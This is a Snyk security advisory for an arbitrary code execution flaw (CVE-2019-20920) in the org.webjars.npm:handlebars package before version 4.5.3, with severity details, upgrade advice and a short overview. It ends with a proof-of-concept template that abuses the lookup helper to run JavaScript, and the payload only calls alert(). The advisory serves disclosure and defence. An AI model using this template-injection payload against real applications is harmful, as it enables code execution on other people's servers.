<p>Upgrade <code>org.webjars.npm:handlebars</code> to version 4.5.3 or higher.</p>

Arbitrary Code Execution Affecting org.webjars.npm:handlebars package, versions [,4.5.3)

Snyk CVSS

Attack Complexity High

Scope Changed

Confidentiality High

Threat Intelligence

Exploit Maturity Proof of concept

EPSS 0.7% (81^st percentile)

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Snyk ID SNYK-JAVA-ORGWEBJARSNPM-541442
published 15 Nov 2019
disclosed 14 Nov 2019
credit Francois Lajeunesse-Robert

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Introduced: 14 Nov 2019

CVE-2019-20920 Open this link in a new tab CWE-94 Open this link in a new tab

How to fix?

Upgrade org.webjars.npm:handlebars to version 4.5.3 or higher.

Overview

org.webjars.npm:handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The package's lookup helper doesn't validate templates correctly, allowing attackers to submit templates that execute arbitrary JavaScript in the system.

PoC

    {{#with split as |a|}}
        {{pop (push "alert('Vulnerable Handlebars JS');")}}
        {{#with (concat (lookup join (slice 0 1)))}}
            {{#each (slice 2 3)}}
                {{#with (apply 0 a)}}
                    {{.}}
                {{/with}}
            {{/each}}
        {{/with}}
    {{/with}}
{{/with}}